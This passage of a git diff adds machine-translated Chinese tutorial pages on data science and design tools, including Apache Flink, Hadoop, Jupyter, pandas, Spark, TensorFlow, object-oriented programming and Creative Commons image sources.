+ DataSet<Tuple2<Long, Double>> ratings = env.readCsvFile("ml-latest-small/ratings.csv") 
+  .ignoreFirstLine() 
+  .includeFields(false, true, true, false) 
+  .types(Long.class, Double.class); 
+```
+
+在那里，我们正在制作一个带有数据集的数据集对于电影，忽略错误，引号和标题行，以及数据集对于电影评级，也忽略标题，无效的行和引号。
+
+**Flink Processing**
+
+在这里，我们将使用flink处理数据集。结果将在String of String，Double元组中。类型将在字符串中，平均评级为双。
+
+首先，我们将通过每个数据集中存在的moviesId将评级数据集与电影数据集连接起来。 有了这个，我们将创建一个新的元组，其中包含电影名称，流派和分数。 之后，我们按类型对这个元组进行分组并添加所有相同类型的分数，最后我们将分数除以总结果，我们得到了我们想要的结果。
+```
+List<Tuple2<String, Double>> distribution = movies.join(ratings) 
+  .where(0) 
+  .equalTo(0) 
+  .with(new JoinFunction<Tuple3<Long, String, String>,Tuple2<Long, Double>, Tuple3<StringValue, StringValue, DoubleValue>>() { 
+    private StringValue name = new StringValue(); 
+    private StringValue genre = new StringValue(); 
+    private DoubleValue score = new DoubleValue(); 
+    private Tuple3<StringValue, StringValue, DoubleValue> result = new Tuple3<>(name,genre,score); 
+ 
+    @Override 
+    public Tuple3<StringValue, StringValue, DoubleValue> join(Tuple3<Long, String, String> movie,Tuple2<Long, Double> rating) throws Exception { 
+      name.setValue(movie.f1); 
+      genre.setValue(movie.f2.split("\\|")[0]); 
+      score.setValue(rating.f1); 
+      return result; 
+    } 
+ }) 
+  .groupBy(1) 
+  .reduceGroup(new GroupReduceFunction<Tuple3<StringValue,StringValue,DoubleValue>, Tuple2<String, Double>>() { 
+    @Override 
+    public void reduce(Iterable<Tuple3<StringValue,StringValue,DoubleValue>> iterable, Collector<Tuple2<String, Double>> collector) throws Exception { 
+      StringValue genre = null; 
+      int count = 0; 
+      double totalScore = 0; 
+      for(Tuple3<StringValue,StringValue,DoubleValue> movie: iterable){ 
+        genre = movie.f1; 
+        totalScore += movie.f2.getValue(); 
+        count++; 
+      } 
+ 
+      collector.collect(new Tuple2<>(genre.getValue(), totalScore/count)); 
+    } 
+ }) 
+  .collect(); 
+```
+
+有了这个，你将有一个工作批处理flink应用程序。请享用！。
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/flink/index.md b/client/src/guide/chinese/data-science-tools/flink/index.md
new file mode 100644
index 0000000000..73a1757d7f
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/flink/index.md
@@ -0,0 +1,68 @@
+---
+title: Flink
+localeTitle: 弗林克
+---
+## 弗林克
+
+Apache Flink是一个开源流处理框架，具有强大的流和批处理功能。
+
+Apache Flink的核心是用Java和Scala编写的分布式流数据流引擎。 Flink以数据并行和流水线方式执行任意数据流程序。 Flink的流水线运行时系统可以执行批量/批处理和流处理程序。此外，Flink的运行时本身支持迭代算法的执行。 Flink提供高吞吐量，低延迟的流媒体引擎，以及对事件处理和状态管理的支持。 Flink应用程序在发生机器故障时具有容错能力，并且支持一次性语义。 程序可以用Java，Scala，Python和SQL编写，并自动编译和优化为在集群或云环境中执行的数据流程序。
+
+Flink不提供自己的数据存储系统，并为Amazon Kinesis，Apache Kafka，HDFS，Apache Cassandra和ElasticSearch等系统提供数据源和接收器连接器。
+
+![Flink工作流程](https://flink.apache.org/img/flink-home-graphic-update.svg)
+
+**Apache Flink有什么新功能？**
+
+*   Flink实现了实际的流处理，而不是通过微批处理来模仿它。在Spark中，流式传输是一种特殊的批处理案例，而在Flink中，批处理是一种特殊的流式传输（有限大小的流）
+*   Flink对循环和迭代处理有更好的支持
+*   Flink具有更低的延迟和更高的吞吐量
+*   Flink拥有更强大的Windows运营商
+*   Flink实现了轻量级的分布式快照，它具有低开销和流处理中的一次性处理保证，而不像Spark那样使用微批处理
+*   Flink支持流处理中的可变状态
+
+### 特征
+
+*   流媒体优先运行时，支持批处理和数据流程序
+*   Java和Scala中优雅流畅的API
+*   运行时支持非常高的吞吐量和低事件延迟的同时
+*   基于_数据流模型_ ，支持DataStream API中的_事件时间_和_无序_处理
+*   灵活的窗口（时间，计数，会话，自定义触发器）跨越不同的时间语义（事件时间，处理时间）
+*   具有_精确一次_处理保证的容错能力
+*   流媒体节目中的自然背压
+*   用于图形处理（批处理），机器学习（批处理）和复杂事件处理（流式处理）的库
+*   内置支持DataSet（批处理）API中的迭代程序（BSP）
+*   自定义内存管理，可在内存和核外数据处理算法之间实现高效，可靠的切换
+*   Apache Hadoop MapReduce和Apache Storm的兼容性层
+*   与YARN，HDFS，HBase和Apache Hadoop生态系统的其他组件集成
+
+### Flink用法
+
+构建Flink的先决条件：
+
+*   类Unix环境（我们使用Linux，Mac OS X，Cygwin）
+*   混帐
+*   Maven（我们推荐3.0.4版本）
+*   Java 7或8
+```
+git clone https://github.com/apache/flink.git 
+ cd flink 
+ mvn clean package -DskipTests # this will take up to 10 minutes 
+```
+
+## 开发Flink
+
+Flink提交者使用IntelliJ IDEA开发Flink代码库。 我们建议使用IntelliJ IDEA来开发涉及Scala代码的项目。
+
+IDE的最低要求是：
+
+*   支持Java和Scala（也是混合项目）
+*   使用Java和Scala支持Maven
+
+#### 更多信息：
+
+*   Flink网站： [Apache Flink](https://flink.apache.org/)
+*   Flink文档： [flinkdocs](https://ci.apache.org/projects/flink/flink-docs-release-1.3/)
+*   快速flink教程： [快速](https://www.linkedin.com/pulse/introduction-apache-flink-quickstart-tutorial-malini-shukla/)入门
+*   如何指导： [howto](https://data-artisans.com/blog/kafka-flink-a-practical-how-to)
+*   Flink vs Spark： [比较](http://www.developintelligence.com/blog/2017/02/comparing-contrasting-apache-flink-vs-spark/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/hadoop/index.md b/client/src/guide/chinese/data-science-tools/hadoop/index.md
new file mode 100644
index 0000000000..5afceed4b0
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/hadoop/index.md
@@ -0,0 +1,58 @@
+---
+title: Hadoop
+localeTitle: Hadoop的
+---
+## ![Hadoop的](http://2s7gjr373w3x22jf92z99mgm5w-wpengine.netdna-ssl.com/wp-content/uploads/2014/08/Hadoop_logo_2.png)
+
+### 你知道吗？
+
+Hadoop以属于Doug Cutting的儿子的玩具大象命名。 Doug选择了这个开源项目的名称，因为它很容易在搜索结果中拼写，发音和查找。原始的黄色毛绒大象出现在Hadoop的标志中。
+
+### 什么是Hadoop？
+
+Hadoop是一个框架，允许使用简单的编程模型跨计算机集群分布式处理大型数据集。它可以从单个服务器扩展到数千台机器，每台机器都提供自己的本地计算和存储。 Hadoop本身不是依靠硬件来提供高可用性，而是设计用于检测和处理应用层的故障。如果群集中的一台计算机出现故障，Hadoop可以在不丢失数据的情况下补偿故障。这使得能够在计算机集群之上交付高可用性服务，每个计算机都可能容易出现故障。
+
+2003年，谷歌在谷歌文件系统（GFS）上发布了他们的论文。它详细介绍了一个专有的分布式文件系统，旨在使用商用硬件提供对大量数据的高效访问。一年后，谷歌发布了另一篇题为“MapReduce：大型集群上的简化数据处理”的论文。当时，Doug在雅虎工作。这些论文是他的开源项目Apache Nutch的灵感来源。 2006年，现在被称为Hadoop的项目组件从Apache Nutch迁出并被释放。
+
+### 为什么Hadoop有用？
+
+据IBM称：“每天都有25亿千兆字节的高速数据以各种形式创建，例如社交媒体帖子，传感器和医疗设备中收集的信息，视频和交易记录。”
+
+经常创建的数据的一些示例是：
+
+*   电话使用的元数据
+*   网站日志
+*   信用卡购买交易
+
+“大数据”是指使用传统软件应用程序处理的数据集太大或太复杂。导致数据复杂性的因素是数据集的大小，可用处理器的速度以及数据的格式。
+
+在发布时，Hadoop能够比传统软件更大规模地处理数据。
+
+### 核心Hadoop
+
+数据存储在Hadoop分布式文件系统（HDFS）中。使用map reduce，Hadoop以并行块（同时处理多个部分）而不是在单个队列中处理数据。这减少了处理大型数据集所需的时间。
+
+HDFS的工作原理是存储分成块的大型文件，并在许多服务器上复制它们。拥有多个文件副本可创建冗余，从而防止数据丢失。
+
+### Hadoop生态系统
+
+存在许多其他软件包来补充Hadoop。这些计划包括Hadoop生态系统。有些程序可以更轻松地将数据加载到Hadoop集群中，而其他程序则使Hadoop更易于使用。
+
+Hadoop生态系统包括：
+
+*   Apache Hive
+*   阿帕奇猪
+*   Apache HBase
+*   Apache Phoenix
+*   Apache Spark
+*   Apache ZooKeeper
+*   Cloudera Impala
+*   Apache Flume
+*   Apache Sqoop
+*   Apache Oozie
+
+#### 更多信息：
+
+1.  [hadoop的Udacity课程](https://www.udacity.com/course/intro-to-hadoop-and-mapreduce--ud617)
+2.  [Apache Hadoop](http://hadoop.apache.org/)
+3.  [edureka的大数据Hadoop教程视频！](https://www.youtube.com/playlist?list=PL9ooVrP1hQOFrYxqxb0NJCdCABPZNo0pD)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/index.md b/client/src/guide/chinese/data-science-tools/index.md
new file mode 100644
index 0000000000..40d1763061
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/index.md
@@ -0,0 +1,13 @@
+---
+title: Data Science Tools
+localeTitle: 数据科学工具
+---
+## 数据科学工具
+
+在本节中，我们将为数据科学家使用的各种工具提供指南。
+
+数据科学家很好奇，经常寻找可以帮助他们找到答案的新工具。他们还需要精通使用交易工具，即使它们有数十种。总体而言，数据科学家应具备统计编程语言的工作知识，以构建数据处理系统，数据库和可视化工具。该领域的许多人还认为编程是数据科学不可或缺的一部分;然而，并非所有数据科学家学生都在学习编程，因此了解绕过编程的工具并包含用户友好的图形界面是有帮助的，这样数据科学家对算法的了解就足以帮助他们构建预测模型。
+
+R仍然是领先的工具，占49％的份额，但Python增长更快，几乎赶上了R. RapidMiner仍然是最受欢迎的通用数据科学平台。大数据工具使用了近40％，深度学习使用量增加了一倍。 数据科学是OSEMN（ **O** btain， **S** crub， **M** odel，i **N** terpret）的数据。 开源数据科学大师有一个很好的数据科学和机器学习资源。关注github datasciencemasters !!!
+
+*   [数据科学资源](https://github.com/datasciencemasters/go)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/jupyter-notebook/index.md b/client/src/guide/chinese/data-science-tools/jupyter-notebook/index.md
new file mode 100644
index 0000000000..d6a2b80530
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/jupyter-notebook/index.md
@@ -0,0 +1,94 @@
+---
+title: Jupyter Notebook
+localeTitle: Jupyter笔记本
+---
+## Jupyter笔记本
+
+Jupyter Notebook是一个开源Web应用程序。它允许您创建和共享包含实时代码，方程式，可视化和叙述文本的文档。
+
+Jupyter Notebook可帮助您创建和共享包含实时代码，方程式，可视化和富文本的文档。
+
+您可以将它用于：
+
+*   数据清理和转换
+*   数值模拟
+*   统计建模
+*   数据可视化
+*   机器学习
+
+![](https://github.com/indianmoody/images/blob/master/guide_fcc/guides_jupyter_snap.jpeg) 一步一步查看结果。就像在这张图片中一样。
+
+## 什么是Jupyter笔记本？
+
+在这种情况下，“笔记本”或“笔记本文档”表示包含代码和富文本元素的文档，例如图形，链接，方程式。由于代码和文本元素的混合，这些文档是将分析描述及其结果汇总在一起的理想位置，并且它们可以被执行以实时执行数据分析。
+
+“Jupyter”是一个松散的缩写，意思是Jul​​ia，Python和R.这些编程语言是Jupyter应用程序的第一个目标语言，但是现在，笔记本技术还支持许多其他语言。 你有它：Jupyter笔记本。
+
+## 它有什么作用？
+
+作为服务器 - 客户端应用程序，Jupyter Notebook App允许您通过Web浏览器编辑和运行笔记本。该应用程序可以在没有Internet访问的PC上执行，也可以安装在远程服务器上，您可以通过Internet访问它。
+
+它的两个主要组件是内核和仪表板。
+
+内核是运行和内省用户代码的程序。 Jupyter Notebook App有一个Python代码内核，但也有其他编程语言可用的内核。应用程序的仪表板不仅向您显示您已经制作并可以重新打开的笔记本文档，还可以用于管理内核：您可以运行哪些文件并在必要时关闭它们。
+
+## 安装
+
+您可以使用Anaconda或Pip来安装Jupyter笔记本。 有关执行此操作的步骤，请参阅官方指南 [这里。](https://jupyter.readthedocs.io/en/latest/install.html)
+
+#### 更多信息：
+
+\=======
+
+### 特征
+
+*   无需每次都运行完整的代码文件。只需运行单个Notebook单元格即可评估特定代码段。
+*   该笔记本支持40多种编程语言，包括Python，R，Julia和Scala。
+*   可以使用电子邮件，Dropbox，GitHub和Jupyter Notebook Viewer与其他人共享笔记本。
+*   您的代码可以生成丰富的交互式输出：HTML，图像，视频，LaTeX和自定义MIME类型。
+*   利用Python，R和Scala等大数据工具，如Apache Spark。使用pandas，scikit-learn，ggplot2，TensorFlow探索相同的数据。
+
+Jupyter笔记本结合了两个组件：
+
+### 一个Web应用程序：
+
+Jupyter Notebook App有助于在Web浏览器中编辑和运行笔记本文档，结合说明文本，数学，计算和富媒体。
+
+### 笔记本文件：
+
+Jupyter Notebook App可以创建包含代码和富文本元素的“Notebook文档”。 Notebook文档既可读又可执行。
+
+这些文档由Jupyter Notebook App制作。
+
+## Jupyter笔记本应用程序
+
+作为服务器 - 客户端应用程序，Jupyter Notebook App允许您通过Web浏览器编辑和运行笔记本。  
+该应用程序可以在没有Internet访问的PC上执行，也可以安装在远程服务器上，您可以通过Internet访问它。
+
+它的两个主要组件是内核和仪表板。
+
+### 仁
+
+内核是运行和内省用户代码的程序。 Jupyter Notebook App有一个Python代码内核，但也有其他编程语言可用的内核。
+
+### 仪表板
+
+应用程序的仪表板不仅向您显示您已经制作并可以重新打开的笔记本文档，还可以用于管理内核：您可以运行哪些文件并在必要时关闭它们。
+
+### 笔记本电脑如何工作
+
+Jupyter笔记本电脑源于费尔南多·佩雷斯（Fernando Perez）发起的IPython项目。 IPython是一个交互式shell，类似于普通的Python shell，但具有语法高亮和代码完成等强大功能。最初，笔记本电脑通过从Web应用程序（您在浏览器中看到的笔记本）向IPython内核（在后台运行的IPython应用程序）发送消息来工作。内核执行代码，然后将其发送回笔记本。 ![笔记本架构](https://jupyter.readthedocs.io/en/latest/_images/notebook_components.png)
+
+保存笔记本时，它将作为具有**.ipynb**文件扩展名的JSON文件写入服务器 新名称Jupyter来自**Ju** lia， **Py** thon和**R的组合** 。使用Jupyter有很多不同语言的内核。你可以查看[可用的Jupyter内核列表](https://github.com/jupyter/jupyter/wiki/Jupyter-kernels) 。
+
+### 安装Jupyter笔记本
+
+Jupyter笔记本自动附带分发版。您将能够使用默认环境中的笔记本电脑。 在conda环境中`conda install jupyter notebook` ： `conda install jupyter notebook` 使用`pip install jupyter notebook` ： `pip install jupyter notebook`
+
+#### 更多信息：
+
+*   [Jupyter Org网站](http://jupyter.org)
+*   [Jupyter / IPython笔记本快速入门指南](http://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/what_is_jupyter.html)
+*   [什么是Jupyter Notebook by codebasics，持续时间8:24](https://www.youtube.com/watch?v=q_BzsPxwLOE)
+*   [Jupyter笔记本教程/ Ipython笔记本教程，由codebasics，持续时间24:07](https://www.youtube.com/watch?v=EEEZX_0FMEc)
+*   [更多信息](https://www.datacamp.com/community/tutorials/tutorial-jupyter-notebook)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/pandas/index.md b/client/src/guide/chinese/data-science-tools/pandas/index.md
new file mode 100644
index 0000000000..5ff5906857
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/pandas/index.md
@@ -0,0 +1,75 @@
+---
+title: pandas
+localeTitle: 大熊猫
+---
+![Everybody loves pandas!](https://pandas.pydata.org/_static/pandas_logo.png "大熊猫")
+
+## 大熊猫
+
+[pandas](http://pandas.pydata.org/)是一个使用数据框进行数据分析的Python库。数据框是数据表，可以在概念上将其与电子表格进行比较。熟悉R的数据科学家会感到宾至如归。大熊猫通常与numpy，pyplot和scikit-learn一起使用。
+
+### 导入大熊猫
+
+使用别名`pd`导入pandas库是一种广泛使用的约定：
+
+```python
+import pandas as pd 
+```
+
+## 数据框架
+
+数据框由许多行和列组成。每列代表数据集的一个特征，因此具有名称和数据类型。每行表示通过关联特征值的数据点。 pandas库允许您以各种方式处理数据框中的数据。大熊猫有很多可能性，所以以下仅仅是为了给图书馆带来感觉。
+
+## 系列
+
+Series是pandas中的基本数据类型.A系列非常类似于数组（NumPy数组）（实际上它是建立在NumPy数组对象之上）.A系列可以有轴标签，因为它可以被索引没有数字索引的标签，用于数据的位置。它可以包含任何有效的Python对象，如List，Dictionary等。
+
+## 从csv文件加载数据
+
+`.csv`文件是_逗号分隔的值_文件。一种非常常见的存储数据的方法。要将此类数据加载到pandas数据框中，请使用`read_csv`方法：
+
+```python
+df = pd.read_csv(file_path) 
+```
+
+这里， `file_path`可以是您计算机上csv文件的本地路径，也可以是指向其中的URL。列名可以包含在csv文件中，也可以作为参数传递。有关此内容的更多信息，请查看[文档](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html?highlight=read_csv#pandas.read_csv) 。
+
+## 概述数据框架
+
+要显示数据框的前几行， `head`方法很有用（再一次这对R程序员来说应该是熟悉的）：
+
+```python
+df.head() 
+```
+
+这将显示数据框的前5行。
+
+要显示超过前5行，只需将要打印的行数放在`head`方法中。
+
+```python
+df.head(10) 
+```
+
+这将显示数据帧的前10行。
+
+为了显示数据帧的最后几行， `tail`方法很有用（再一次这对R程序员来说应该是熟悉的）：
+
+```python
+df.tail() 
+```
+
+这将显示数据框的最后5行。
+
+## 子集：按名称获取列
+
+数据帧可以是许多方式的子集。最简单的一个是获得一个列。例如，如果数据框`df`包含名为`age`的列，我们可以按如下方式提取它：
+
+```python
+ages=df["age"] 
+```
+
+#### 更多信息：
+
+1.  [大熊猫](http://pandas.pydata.org/)
+2.  [read\_csv](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html?highlight=read_csv#pandas.read_csv)
+3.  [头](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.head.html?highlight=head#pandas.DataFrame.head)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/power-bi/index.md b/client/src/guide/chinese/data-science-tools/power-bi/index.md
new file mode 100644
index 0000000000..bbcc0dccfd
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/power-bi/index.md
@@ -0,0 +1,25 @@
+---
+title: Power BI
+localeTitle: Power BI
+---
+# Power BI：
+
+Power BI是Microsoft提供的商用产品，可为奇怪的数据提供数据洞察和可视化。
+
+## 核心功能：
+
+Power BI具有许多用于数据提取，分析和消费的功能：
+
+*   数据内容包用于从许多来源引入数据，包括GitHub，Facebook，AWS，Azure和大多数SQL数据库
+*   直观的数据建模和转换工具，可以为类似结构或内容的表自动化
+*   用于拖放报告和仪表板构建的股票图表和图表（包括强制指示！）
+*   R控制台用于高级统计分析
+*   用于查看不同业务组或公共消费的仪表板的嵌入式功能
+
+## 它如何用于数据科学：
+
+虽然它不像复杂的推理分析或地图缩减那样强大，但它在为典型的业务类型数据消费者的交互式仪表板中呈现数据方面非常繁荣。 PowerBI是数据科学家和其他商业世界之间的桥梁，他们希望通过易于理解的可视化来制定决策数据。通过利用许多消费者熟悉的Office 365环境，Data Scientist可以通过R控制台进行最复杂的自定义分析或可视化，以便与任何人进行交互。
+
+## 实验室
+
+[使用Microsoft Power BI探索和可视化数据](https://github.com/Microsoft/computerscience/blob/master/Labs/Big%20Data%20and%20Analytics/Power%20BI/Power%20BI.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/scikit/index.md b/client/src/guide/chinese/data-science-tools/scikit/index.md
new file mode 100644
index 0000000000..ebf0ecfdf8
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/scikit/index.md
@@ -0,0 +1,13 @@
+---
+title: scikit-learn
+localeTitle: scikit学习
+---
+## Scikit学习
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/data-science-tools/scikit/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[Scikit-学习参考页面](http://scikit-learn.org/stable/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/spark/index.md b/client/src/guide/chinese/data-science-tools/spark/index.md
new file mode 100644
index 0000000000..814385c62d
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/spark/index.md
@@ -0,0 +1,32 @@
+---
+title: Spark
+localeTitle: 火花
+---
+## 火花
+
+[Spark](http://spark.apache.org/)是一种快速通用的大数据集群计算系统。它提供Scala，Java，Python和R中的高级API，以及支持数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具，包括用于SQL和DataFrame的Spark SQL，用于机器学习的MLlib，用于图形处理的GraphX和用于流处理的Spark Streaming。
+
+## 核心功能
+
+Spark 2.0有许多新功能：
+
+*   原生CSV数据源，基于Databricks的spark-csv模块
+*   用于缓存和运行时执行的堆外内存管理
+*   Hive风格的支持
+*   使用草图的近似摘要统计信息，包括近似分位数，布隆过滤器和计数最小草图。
+
+## 它如何用于数据科学
+
+Spark已经成为许多数据科学家工具箱中的标准工具。凭借其API选择的灵活性，任何程序员都可以使用他们首选语言的Spark。正如[Cloudera](https://blog.cloudera.com/blog/2014/03/why-apache-spark-is-a-crossover-hit-for-data-scientists)所指出的，Spark因其原因而受到欢迎：
+
+*   基于Scala，Spark嵌入在任何基于JVM的操作系统中，但也可以以一种让R和Python用户熟悉的方式在REPL中交互使用。
+*   对于Java程序员，Scala仍然呈现学习曲线。但至少，任何Java库都可以在Scala中使用。 Spark的RDD（弹性分布式数据集）抽象类似于Crunch的PCollection，它已被证明是Hadoop中一个有用的抽象，已经为Crunch开发人员所熟悉。 （Crunch甚至可以用在Spark之上。）
+*   Spark模仿Scala的集合API和函数风格，这对Java和Scala开发人员来说是一个福音，但对来自Python的开发人员也有些熟悉。 Scala也是统计计算的一个引人注目的选择。
+*   Spark本身以及它下面的Scala并不特定于机器学习。它们提供支持相关任务的API，如数据访问，ETL和集成。与Python一样，整个数据科学管道可以在这个范例内实现，而不仅仅是模型拟合和分析。
+*   在REPL环境中实现的代码可以主要在操作上下文中使用。
+*   即使您键入内容，数据操作也会透明地分布在群集中。
+
+#### 更多信息
+
+*   [Spark Github页面](https://github.com/apache/spark)
+*   [维基百科](https://en.wikipedia.org/wiki/Apache_Spark)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/tensor-flow/index.md b/client/src/guide/chinese/data-science-tools/tensor-flow/index.md
new file mode 100644
index 0000000000..994fc0a719
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/tensor-flow/index.md
@@ -0,0 +1,19 @@
+---
+title: TensorFlow
+localeTitle: TensorFlow
+---
+## 张量流量
+
+[TensorFlow](https://www.tensorflow.org/)是一款面向机器智能的开源软件库。
+
+为了在这些迷人的领域进行研究，Google团队开发了TensorFlow。
+
+## 它如何用于数据科学
+
+TensorFlow是一个使用数据流图进行数值计算的开源软件库。 图中的节点表示数学运算，而图表边表示数字运算 在它们之间进行通信的多维数据阵列（张量）。灵活的架构 允许您将计算部署到桌面，服务器或移动设备中的一个或多个CPU或GPU 具有单个API的设备。 TensorFlow最初由研究人员和工程师开发 在Google机器智能研究组织的Google Brain Team工作 为了进行机器学习和深度神经网络研究，但是 系统通用性足以适用于各种其他领域。
+
+有关更多信息，请访问[TensorFlow Github页面](https://github.com/tensorflow)
+
+## 实验室
+
+[TensorFlow](https://github.com/Microsoft/computerscience/blob/master/Labs/AI%20and%20Machine%20Learning/TensorFlow/TensorFlow.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/data-science-tools/visualization-bokeh/index.md b/client/src/guide/chinese/data-science-tools/visualization-bokeh/index.md
new file mode 100644
index 0000000000..72de02eb55
--- /dev/null
+++ b/client/src/guide/chinese/data-science-tools/visualization-bokeh/index.md
@@ -0,0 +1,9 @@
+---
+title: Bokeh
+localeTitle: 背景虚化
+---
+Bokeh是一个Python交互式可视化库，提供优雅和简洁的界面来创建绘图，dashborads和数据应用程序。
+
+### 更多信息：
+
+[散景官方网站](https://bokeh.pydata.org/en/latest/) [Bryan Van de Ven，PyBay2016,55：47](https://www.youtube.com/watch?v=xqwCxuEBpxk) [Bryan Van de Ven，PyData SF 2016,2：14：00](https://www.youtube.com/watch?v=M1-MVYLONZc)
\ No newline at end of file
diff --git a/client/src/guide/chinese/design-patterns/index.md b/client/src/guide/chinese/design-patterns/index.md
new file mode 100644
index 0000000000..e68f8d09da
--- /dev/null
+++ b/client/src/guide/chinese/design-patterns/index.md
@@ -0,0 +1,11 @@
+---
+title: Design Patterns
+localeTitle: 设计模式
+---
+## 设计模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freeCodeCamp/guide/blob/master/src/pages/design-patterns/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/design-patterns/object-oriented-programming/index.md b/client/src/guide/chinese/design-patterns/object-oriented-programming/index.md
new file mode 100644
index 0000000000..9a1514ef07
--- /dev/null
+++ b/client/src/guide/chinese/design-patterns/object-oriented-programming/index.md
@@ -0,0 +1,32 @@
+---
+title: Object Oriented Programming (OOP)
+localeTitle: 面向对象编程（OOP）
+---
+## 大纲
+
+*   为什么面向对象（以下简称为OO）？
+*   OO概念
+*   接下来是什么？
+
+## 为何选择OO？
+
+在这个范例中，实体被表示为真实世界数据。例如，我们想要代表一只狗。在OO范例中，我们只创建一个名为“dog”的类，并赋予它属性（颜色，年龄，性别等）和行为（树皮，跑步，吃饭等）。行为通过改变属性的“方法”（简单的函数）来改变。
+
+## OO概念
+
+OO编程的强大之处在于它能够执行以下操作：
+
+*   传承
+*   多态性
+*   封装
+*   抽象化
+
+在过程编程中，我们只需创建变量并在需要时更改它们。但是在面向对象编程中，我们可以从字面上模拟真实世界的对象。通过为实体（例如dog）创建特定类来实现封装。然后创建此类的对象，这些对象只是类的实例。每个对象都有自己的属性值。
+
+另一个非常有用的概念是继承。这个想法是一个类可以从基类继承属性和行为。例如，在创建游戏时，我们有一个玩家和敌人。我们可以创建一个名为person的基类，并为其赋予名称，年龄，性别等属性。人的行为可以是步行和跳跃。然后玩家和敌人可以从人身上继承这些“品质”，并且可以增加诸如杀戮，得分，吃饭等品质。
+
+这有助于重用代码并使rcode结构更加干净。数据隐藏是另一个很酷的功能。在OO中，我们有私有和公共属性的概念。私有属性只能通过该特定类的方法进行访问和修改，而公共数据可以从程序中的任何位置进行修改（显然在范围内）。
+
+## 接下来是什么？
+
+选择一种OO语言，并构建一个基于终端的基本游戏来说明这些概念。
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/creative-commons-resources/index.md b/client/src/guide/chinese/designer-tools/creative-commons-resources/index.md
new file mode 100644
index 0000000000..07af19b0f7
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/creative-commons-resources/index.md
@@ -0,0 +1,37 @@
+---
+title: Creative Commons Resources
+localeTitle: 知识共享资源
+---
## 什么是知识共享？
+
+Creative Commons许可由学术界，律师和政治活动家Lawrence Lessig创建。 Creative Commons许可选项是在对版权法的反应中创建的。相信创作过程涉及建立在他人的想法和内容之上，版权法阻止了这种形式的创造性发展。虽然需要版权法，但它们对影响个人及其创造性发展的影响被视为前所未有的违规行为。对版权的反对被称为copyleft。知识共享是copyleft和支持公共领域的基石。为了帮助解决这一版权法问题和创造性发展问题，引入了知识共享，允许创作者申请合法许可，允许其他人如何使用他们的作品。外行很容易理解知识共享许可选项，只需回答两个问题即可创建：
+
+1.）允许分享您的工作的调整？
+
+2.）允许您的工作的商业用途？
+
+Creative Commons许可选项可在以下位置快速完成： - [选择](https://creativecommons.org/choose/)
+
+有关各种Creative Commons许可选项的更多说明，请访问： - [许可证](https://creativecommons.org/licenses/)
+
+## 知识共享资源
+
+有些人讨厌设计东西，这没关系。但他们可能_更_讨厌的一件事是被起诉侵犯版权（使用其他人在没有明确许可的情况下创建的内容）。
+
+最近，我参与了关于这个主题的讨论，并且我认为我将分享一些我过去转向过的高质量，免费提供内容的网站。如果您是一名设计师，网站开发人员，或者只是一个需要一些漂亮，有光泽的图像的博主，这些都将在您的小巷中。
+
+以下所有资源均应[根据知识共享](https://creativecommons.org/licenses/) （或同等许可证）获得许可，供您自行使用：
+
+*   [图网](http://gratisography.com/)
+*   [Unsplash](https://unsplash.com/)
+*   [Pixabay](https://pixabay.com)
+*   [Pexels](https://www.pexels.com)
+*   [Flickr（知识共享许可）](https://www.flickr.com/search/?advanced=1&license=2%2C3%2C4%2C5%2C6%2C9)
+*   [大都会博物馆藏品](http://www.metmuseum.org/art/collection)
+*   [生活杂志档案](http://images.google.com/hosted/life)
+*   [新旧股票](http://nos.twnsnd.co/)
+*   [公共领域档案](http://publicdomainarchive.com/)
+*   [维基媒体知识共享](https://commons.wikimedia.org/wiki/Main_Page)
+
+这绝不是一个详尽的列表，但如果您需要一些高分辨率的图像可以自由使用 - 请考虑检查其中的一些。
+
+> **注：**如果您在使用_任何_这些图像对于非个人或商业用途的规划，请仔细检查该特定图像的所有细节（如一些网站有所不同）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/designer-tools/experience-design/index.md b/client/src/guide/chinese/designer-tools/experience-design/index.md
new file mode 100644
index 0000000000..f7bb5a9677
--- /dev/null
+++ b/client/src/guide/chinese/designer-tools/experience-design/index.md
@@ -0,0 +1,37 @@
+---
+title: Adobe Experience Design
+localeTitle: Adobe体验设计
+---
+## Adobe体验设计
+
+Adobe Experience Design，也称为Adobe XD，是UX设计人员的原型设计工具。它是专为界面设计和用户体验而构建的工具，不像其他Adobe产品，如Photoshop和Illustrator，用于照片编辑和图形设计。 Adobe XD可用于Windows和macOS，而不像Sketch专用于macOS。
+
+### 好处：
+
+*   内置原型制作工具
+*   可在Windows和macOS上使用
+*   移动设备预览
+*   免费的UI套件
